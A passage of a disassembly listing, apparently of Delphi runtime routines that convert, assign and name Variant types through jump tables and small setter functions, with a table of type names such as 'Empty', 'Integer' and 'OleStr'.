					; DATA XREF: sub_40011DFC:off_40011E35o
		mov	eax, [ebx+8]	; jumptable 40011E2E case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_40011DFC
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001203E:				; CODE XREF: sub_40011DFC+32j
					; DATA XREF: sub_40011DFC:off_40011E35o
		lea	edx, [ebp+var_34] ; jumptable 40011E2E cases 9,13
		mov	eax, ebx
		call	sub_40011C18
		mov	edx, [ebp+var_34]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012057:				; CODE XREF: sub_40011DFC+2Cj
					; sub_40011DFC+32j
					; DATA XREF: ...
		mov	edx, eax	; default
					; jumptable 40011E2E cases 10,14,15
		sub	dx, 100h
		jz	short loc_40012067
		dec	dx
		jz	short loc_40012076
		jmp	short loc_4001208F
; ---------------------------------------------------------------------------


loc_40012067:				; CODE XREF: sub_40011DFC+262j
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012076:				; CODE XREF: sub_40011DFC+267j
		lea	edx, [ebp+var_38]
		mov	eax, ebx
		call	sub_40011CD0
		mov	edx, [ebp+var_38]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001208F:				; CODE XREF: sub_40011DFC+269j
		test	ah, 40h
		jz	loc_400122A3
		movzx	eax, ax
		and	eax, 0FFFFBFFFh
		cmp	eax, 14h	; switch 21 cases
		ja	loc_4001228D	; default
					; jumptable 400120A9 cases 0,1,9,10,13-15
		jmp	ds:off_400120B0[eax*4] ; switch	jump
; ---------------------------------------------------------------------------
off_400120B0	dd offset loc_4001228D	; DATA XREF: sub_40011DFC+2ADr
		dd offset loc_4001228D	; jump table for switch	statement
		dd offset loc_40012104
		dd offset loc_40012121
		dd offset loc_4001213D
		dd offset loc_40012160
		dd offset loc_40012183
		dd offset loc_400121A2
		dd offset loc_400121C1
		dd offset loc_4001228D
		dd offset loc_4001228D
		dd offset loc_400121D2
		dd offset loc_4001227F
		dd offset loc_4001228D
		dd offset loc_4001228D
		dd offset loc_4001228D
		dd offset loc_400121EF
		dd offset loc_4001220C
		dd offset loc_40012229
		dd offset loc_40012246
		dd offset loc_40012263
; ---------------------------------------------------------------------------


loc_40012104:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_3C] ; jumptable 400120A9 case 2
		mov	eax, [ebx+8]
		movsx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_3C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012121:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_40] ; jumptable 400120A9 case 3
		mov	eax, [ebx+8]
		mov	eax, [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_40]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001213D:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 4
		fld	dword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_44]
		call	sub_40008E14
		mov	edx, [ebp+var_44]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012160:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 5
		fld	qword ptr [eax]
		add	esp, 0FFFFFFF4h
		fstp	[esp+90h+var_90]
		wait
		lea	eax, [ebp+var_48]
		call	sub_40008E14
		mov	edx, [ebp+var_48]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012183:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 6
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_4C]
		call	sub_400113EC
		mov	edx, [ebp+var_4C]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121A2:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 7
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_50]
		call	sub_40011424
		mov	edx, [ebp+var_50]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121C1:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, esi	; jumptable 400120A9 case 8
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_4000511C
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121D2:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_54] ; jumptable 400120A9 case 11
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_4001145C
		mov	edx, [ebp+var_54]
		mov	eax, esi
		call	sub_40005044
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_400121EF:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_58] ; jumptable 400120A9 case 16
		mov	eax, [ebx+8]
		movsx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_58]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_4001220C:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_5C] ; jumptable 400120A9 case 17
		mov	eax, [ebx+8]
		movzx	eax, byte ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_5C]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012229:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		lea	edx, [ebp+var_60] ; jumptable 400120A9 case 18
		mov	eax, [ebx+8]
		movzx	eax, word ptr [eax]
		call	sub_40007C98
		mov	edx, [ebp+var_60]
		mov	eax, esi
		call	sub_40005158
		jmp	loc_400122CB
; ---------------------------------------------------------------------------


loc_40012246:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 19
		mov	eax, [eax]
		xor	edx, edx
		push	edx
		push	eax
		lea	eax, [ebp+var_64]
		call	sub_40007D84
		mov	edx, [ebp+var_64]
		mov	eax, esi
		call	sub_40005158
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_40012263:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 20
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_68]
		call	sub_40007D84
		mov	edx, [ebp+var_68]
		mov	eax, esi
		call	sub_40005158
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_4001227F:				; CODE XREF: sub_40011DFC+2ADj
					; DATA XREF: sub_40011DFC:off_400120B0o
		mov	eax, [ebx+8]	; jumptable 400120A9 case 12
		mov	edx, eax
		mov	eax, esi
		call	sub_40011DFC
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_4001228D:				; CODE XREF: sub_40011DFC+2A7j
					; sub_40011DFC+2ADj
					; DATA XREF: ...
		lea	edx, [ebp+var_6C] ; default
					; jumptable 400120A9 cases 0,1,9,10,13-15
		mov	eax, ebx
		call	sub_40011C18
		mov	edx, [ebp+var_6C]
		mov	eax, esi
		call	sub_40005044
		jmp	short loc_400122CB
; ---------------------------------------------------------------------------


loc_400122A3:				; CODE XREF: sub_40011DFC+296j
		mov	eax, esi
		call	sub_40005008
		mov	edx, eax
		mov	eax, ebx
		call	sub_40011D34
		test	al, al
		jnz	short loc_400122CB
		lea	edx, [ebp+var_70]
		mov	eax, ebx
		call	sub_40011C18
		mov	edx, [ebp+var_70]
		mov	eax, esi
		call	sub_40005044


loc_400122CB:				; CODE XREF: sub_40011DFC+94j
					; sub_40011DFC+BCj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40012348


loc_400122D8:				; CODE XREF: sub_40011DFC+54Aj
		lea	eax, [ebp+var_70]
		mov	edx, 2
		call	sub_40005020
		lea	eax, [ebp+var_68]
		mov	edx, 5
		call	sub_400048A8
		lea	eax, [ebp+var_54]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_48]
		mov	edx, 4
		call	sub_400048A8
		lea	eax, [ebp+var_38]
		mov	edx, 2
		call	sub_40005020
		lea	eax, [ebp+var_30]
		mov	edx, 5
		call	sub_400048A8
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_40005020
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40012341:				; DATA XREF: sub_40011DFC+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400122D8
; ---------------------------------------------------------------------------


loc_40012348:				; CODE XREF: sub_40011DFC+544j
					; DATA XREF: sub_40011DFC+4D7o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40011DFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012350	proc near		; CODE XREF: sub_400123C8+7Ap

var_10		= word ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4000CDD8
		xor	eax, eax
		push	ebp
		push	offset loc_400123BA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, esi
		lea	eax, [ebp+var_10]
		call	sub_4000E700
		lea	eax, [ebp+var_10]
		call	ds:off_4001F29C
		cmp	[ebp+var_10], 0Dh
		jz	short loc_4001239A
		mov	dx, 0Dh
		mov	ax, 101h
		call	sub_4000DBF4


loc_4001239A:				; CODE XREF: sub_40012350+3Bj
		mov	eax, ebx
		mov	edx, [ebp+var_8]
		call	sub_4000621C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400123C1


loc_400123B1:				; CODE XREF: sub_40012350+6Fj
		lea	eax, [ebp+var_10]
		call	sub_4000E3D8
		retn
; ---------------------------------------------------------------------------


loc_400123BA:				; DATA XREF: sub_40012350+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400123B1
; ---------------------------------------------------------------------------


loc_400123C1:				; CODE XREF: sub_40012350+69j
					; DATA XREF: sub_40012350+5Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40012350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400123C8	proc near		; CODE XREF: sub_4000E894+19p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, edx
		mov	esi, eax
		movzx	eax, word ptr [ebx]
		cmp	eax, 0Dh
		jg	short loc_400123E7
		jz	short loc_40012424
		sub	eax, 1
		jb	short loc_400123FC
		jz	short loc_40012405
		sub	eax, 8
		jz	short loc_40012424
		jmp	short loc_40012449
; ---------------------------------------------------------------------------


loc_400123E7:				; CODE XREF: sub_400123C8+Dj
		sub	eax, 101h
		jz	short loc_4001243E
		sub	eax, 3F08h
		jz	short loc_40012430
		sub	eax, 4
		jz	short loc_40012430
		jmp	short loc_40012449
; ---------------------------------------------------------------------------


loc_400123FC:				; CODE XREF: sub_400123C8+14j
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012405:				; CODE XREF: sub_400123C8+16j
		cmp	byte_4001AA10, 0
		jz	short loc_4001241B
		mov	dx, 0Dh
		mov	ax, 1
		call	sub_4000DBF4


loc_4001241B:				; CODE XREF: sub_400123C8+44j
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012424:				; CODE XREF: sub_400123C8+Fj
					; sub_400123C8+1Bj
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_4000621C
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012430:				; CODE XREF: sub_400123C8+2Bj
					; sub_400123C8+30j
		mov	eax, esi
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_4000621C
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_4001243E:				; CODE XREF: sub_400123C8+24j
		mov	edx, ebx
		mov	eax, esi
		call	sub_40012350
		jmp	short loc_4001247D
; ---------------------------------------------------------------------------


loc_40012449:				; CODE XREF: sub_400123C8+1Dj
					; sub_400123C8+32j
		mov	edx, esp
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		test	al, al
		jz	short loc_40012471
		mov	eax, esi
		call	sub_40006204
		mov	ecx, eax
		mov	edx, offset dword_40012484
		mov	eax, [esp+0Ch+var_C]
		call	sub_40003D9C
		test	al, al
		jnz	short loc_4001247D


loc_40012471:				; CODE XREF: sub_400123C8+8Dj
		movzx	eax, word ptr [ebx]
		mov	dx, 0Dh
		call	sub_4000DBF4


loc_4001247D:				; CODE XREF: sub_400123C8+3Bj
					; sub_400123C8+5Aj ...
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_400123C8	endp

; ---------------------------------------------------------------------------
		align 4
dword_40012484	dd 2 dup(0)			dd 0C0h, 46000000h

; =============== S U B	R O U T	I N E =======================================



sub_40012494	proc near		; CODE XREF: sub_4000E848+19p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, edx
		mov	esi, eax
		movzx	eax, word ptr [ebx]
		sub	ax, 1
		jb	short loc_400124B4
		jz	short loc_400124BD
		sub	ax, 8
		jz	short loc_400124DC
		sub	ax, 4000h
		jz	short loc_400124E8
		jmp	short loc_400124F6
; ---------------------------------------------------------------------------


loc_400124B4:				; CODE XREF: sub_40012494+Ej
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124BD:				; CODE XREF: sub_40012494+10j
		cmp	byte_4001AA10, 0
		jz	short loc_400124D3
		mov	dx, 9
		mov	ax, 1
		call	sub_4000DBF4


loc_400124D3:				; CODE XREF: sub_40012494+30j
		mov	eax, esi
		call	sub_40006204
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124DC:				; CODE XREF: sub_40012494+16j
		mov	eax, esi
		mov	edx, [ebx+8]
		call	sub_4000621C
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124E8:				; CODE XREF: sub_40012494+1Cj
		mov	eax, esi
		mov	edx, [ebx+8]
		mov	edx, [edx]
		call	sub_4000621C
		jmp	short loc_4001252A
; ---------------------------------------------------------------------------


loc_400124F6:				; CODE XREF: sub_40012494+1Ej
		mov	edx, esp
		movzx	eax, word ptr [ebx]
		call	sub_40012D98
		test	al, al
		jz	short loc_4001251E
		mov	eax, esi
		call	sub_40006204
		mov	ecx, eax
		mov	edx, offset dword_40012530
		mov	eax, [esp+0Ch+var_C]
		call	sub_40003D9C
		test	al, al
		jnz	short loc_4001252A


loc_4001251E:				; CODE XREF: sub_40012494+6Ej
		movzx	eax, word ptr [ebx]
		mov	dx, 9
		call	sub_4000DBF4


loc_4001252A:				; CODE XREF: sub_40012494+27j
					; sub_40012494+46j ...
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40012494	endp

; ---------------------------------------------------------------------------
		align 10h
dword_40012530	dd 20400h, 0			dd 0C0h, 46000000h

; =============== S U B	R O U T	I N E =======================================



sub_40012540	proc near		; CODE XREF: sub_4000E9CC+F0p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012554
		mov	eax, ebx
		call	sub_4000E35C


loc_40012554:				; CODE XREF: sub_40012540+Bj
		mov	word ptr [ebx],	3
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_40012540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012560	proc near		; CODE XREF: sub_4000E9CC+1A5p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	word ptr [esi],	0BFE8h
		jz	short loc_40012574
		mov	eax, esi
		call	sub_4000E35C


loc_40012574:				; CODE XREF: sub_40012560+Bj
		mov	word ptr [esi],	11h
		mov	[esi+8], bl
		pop	esi
		pop	ebx
		retn
sub_40012560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012580	proc near		; CODE XREF: sub_4000E9CC+1B7p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012594
		mov	eax, ebx
		call	sub_4000E35C


loc_40012594:				; CODE XREF: sub_40012580+Bj
		mov	word ptr [ebx],	12h
		mov	[ebx+8], si
		pop	esi
		pop	ebx
		retn
sub_40012580	endp


; =============== S U B	R O U T	I N E =======================================



sub_400125A0	proc near		; CODE XREF: sub_4000E9CC+1C9p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400125B4
		mov	eax, ebx
		call	sub_4000E35C


loc_400125B4:				; CODE XREF: sub_400125A0+Bj
		mov	word ptr [ebx],	13h
		mov	[ebx+8], esi
		pop	esi
		pop	ebx
		retn
sub_400125A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400125C0	proc near		; CODE XREF: sub_4000E9CC+190p
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	word ptr [esi],	0BFE8h
		jz	short loc_400125D4
		mov	eax, esi
		call	sub_4000E35C


loc_400125D4:				; CODE XREF: sub_400125C0+Bj
		mov	word ptr [esi],	10h
		mov	[esi+8], bl
		pop	esi
		pop	ebx
		retn
sub_400125C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400125E0	proc near		; CODE XREF: sub_4000E9CC+DBp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400125F4
		mov	eax, ebx
		call	sub_4000E35C


loc_400125F4:				; CODE XREF: sub_400125E0+Bj
		mov	word ptr [ebx],	2
		mov	[ebx+8], si
		pop	esi
		pop	ebx
		retn
sub_400125E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012600	proc near		; CODE XREF: sub_4000E9CC+1DBp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012614
		mov	eax, ebx
		call	sub_4000E35C


loc_40012614:				; CODE XREF: sub_40012600+Bj
		mov	word ptr [ebx],	14h
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		pop	ebx
		pop	ebp
		retn	8
sub_40012600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001262C	proc near		; CODE XREF: sub_4000E9CC+10Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012640
		mov	eax, ebx
		call	sub_4000E35C


loc_40012640:				; CODE XREF: sub_4001262C+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	word ptr [ebx],	4
		pop	ebx
		pop	ebp
		retn	4
sub_4001262C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40012650	proc near		; CODE XREF: sub_4000E9CC+124p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012664
		mov	eax, ebx
		call	sub_4000E35C


loc_40012664:				; CODE XREF: sub_40012650+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		mov	word ptr [ebx],	5
		pop	ebx
		pop	ebp
		retn	8
sub_40012650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001267C	proc near		; CODE XREF: sub_4000E9CC+13Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012690
		mov	eax, ebx
		call	sub_4000E35C


loc_40012690:				; CODE XREF: sub_4001267C+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		mov	word ptr [ebx],	6
		pop	ebx
		pop	ebp
		retn	8
sub_4001267C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400126A8	proc near		; CODE XREF: sub_4000E9CC+158p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400126BC
		mov	eax, ebx
		call	sub_4000E35C


loc_400126BC:				; CODE XREF: sub_400126A8+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+0Ch], eax
		mov	word ptr [ebx],	7
		pop	ebx
		pop	ebp
		retn	8
sub_400126A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400126D4	proc near		; CODE XREF: sub_4000E9CC+17Bp
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		test	word ptr [esi],	0BFE8h
		jz	short loc_400126E8
		mov	eax, esi
		call	sub_4000E35C


loc_400126E8:				; CODE XREF: sub_400126D4+Bj
		mov	word ptr [esi],	0Bh
		cmp	bl, 1
		cmc
		sbb	eax, eax
		mov	[esi+8], ax
		pop	esi
		pop	ebx
		retn
sub_400126D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400126FC	proc near		; CODE XREF: sub_4000E7FC+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012710
		mov	eax, ebx
		call	sub_4000E35C


loc_40012710:				; CODE XREF: sub_400126FC+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	100h
		lea	eax, [ebx+8]
		mov	edx, esi
		call	sub_400048D8
		pop	esi
		pop	ebx
		retn
sub_400126FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40012728	proc near		; CODE XREF: sub_4000E7B0+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_4001273C
		mov	eax, ebx
		call	sub_4000E35C


loc_4001273C:				; CODE XREF: sub_40012728+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	8
		lea	eax, [ebx+8]
		push	eax
		mov	ecx, 7FFFFFFFh
		mov	edx, 1
		mov	eax, esi
		call	sub_40005174
		pop	esi
		pop	ebx
		retn
sub_40012728	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40012760	proc near		; CODE XREF: sub_4000E894+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_40012774
		mov	eax, ebx
		call	sub_4000E35C


loc_40012774:				; CODE XREF: sub_40012760+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	0Dh
		lea	eax, [ebx+8]
		mov	edx, esi
		call	sub_4000621C
		pop	esi
		pop	ebx
		retn
sub_40012760	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001278C	proc near		; CODE XREF: sub_4000E848+23p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	word ptr [ebx],	0BFE8h
		jz	short loc_400127A0
		mov	eax, ebx
		call	sub_4000E35C


loc_400127A0:				; CODE XREF: sub_4001278C+Bj
		xor	eax, eax
		mov	[ebx+8], eax
		mov	word ptr [ebx],	9
		lea	eax, [ebx+8]
		mov	edx, esi
		call	sub_4000621C
		pop	esi
		pop	ebx
		retn
sub_4001278C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400127B8	proc near		; DATA XREF: sub_40019144+55o
					; .data:off_4001A014o
		cmp	word ptr [eax],	8
		jb	short locret_400127D8
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	word ptr [eax],	0
		mov	edx, esp
		call	sub_4000E700
		add	esp, 10h

locret_400127D8:			; CODE XREF: sub_400127B8+4j
		retn
sub_400127B8	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 5
aEmpty		db 'Empty',0            ; DATA XREF: .data:off_4001AA20o
		align 4
dword_400127EC	dd 0FFFFFFFFh, 4, 6C6C754Eh, 0dword_400127FC	dd 0FFFFFFFFh, 8, 6C616D53h, 746E696Ch,	0dword_40012810	dd 0FFFFFFFFh, 7, 65746E49h, 726567h, 0FFFFFFFFh, 6, 676E6953h
					; DATA XREF: .data:4001AA2Co
		dd 656Ch, 0FFFFFFFFh, 6, 62756F44h, 656Ch, 0FFFFFFFFh
		dd 8, 72727543h, 79636E65h, 0
dword_40012854	dd 0FFFFFFFFh, 4, 65746144h, 0dword_40012864	dd 0FFFFFFFFh, 6, 53656C4Fh, 7274h, 0FFFFFFFFh,	8, 70736944h
					; DATA XREF: .data:4001AA40o
		dd 68637461h, 0
dword_40012888	dd 0FFFFFFFFh, 5, 6F727245h, 72h, 0FFFFFFFFh, 7, 6C6F6F42h
					; DATA XREF: .data:4001AA48o
		dd 6E6165h, 0FFFFFFFFh,	7, 69726156h, 746E61h, 0FFFFFFFFh
		dd 7, 6E6B6E55h, 6E776Fh, 0FFFFFFFFh, 7, 69636544h, 6C616Dh
		dd 0FFFFFFFFh, 3, 463024h, 0FFFFFFFFh, 8, 726F6853h, 746E4974h
		dd 0
dword_400128F8	dd 0FFFFFFFFh, 4, 65747942h, 0dword_40012908	dd 0FFFFFFFFh, 4, 64726F57h, 0dword_40012918	dd 0FFFFFFFFh, 8, 676E6F4Ch, 64726F57h,	0dword_4001292C	dd 0FFFFFFFFh, 5, 36746E49h, 34h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4001293C	proc near		; CODE XREF: sub_4000DBF4+2Ap
					; sub_4000DBF4+3Ep ...

var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDF8h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_208], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40012A62
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edi, ebx
		and	di, 0FFFh
		cmp	di, 14h
		ja	short loc_40012985
		mov	eax, esi
		movzx	edx, di
		mov	edx, off_4001AA20[edx*4]
		call	sub_400048D8
		jmp	loc_40012A23
; ---------------------------------------------------------------------------


loc_40012985:				; CODE XREF: sub_4001293C+31j
		cmp	bx, 100h
		jnz	short loc_4001299D
		mov	eax, esi
		mov	edx, offset aString_0 ;	"String"
		call	sub_400048D8
		jmp	loc_40012A23
; ---------------------------------------------------------------------------


loc_4001299D:				; CODE XREF: sub_4001293C+4Ej
		cmp	bx, 101h
		jnz	short loc_400129B2
		mov	eax, esi
		mov	edx, offset dword_40012A88
		call	sub_400048D8
		jmp	short loc_40012A23
; ---------------------------------------------------------------------------


loc_400129B2:				; CODE XREF: sub_4001293C+66j
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_40012D98
		test	al, al
		jz	short loc_400129FB
		lea	eax, [ebp+var_104]
		push	eax
		lea	edx, [ebp+var_204]
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_40003C6C
		lea	eax, [ebp+var_204]
		mov	ecx, 7FFFFFFFh
		mov	edx, 2
		call	sub_40002D98
		lea	edx, [ebp+var_104]
		mov	eax, esi
		call	sub_40004AE8
		jmp	short loc_40012A23
; ---------------------------------------------------------------------------


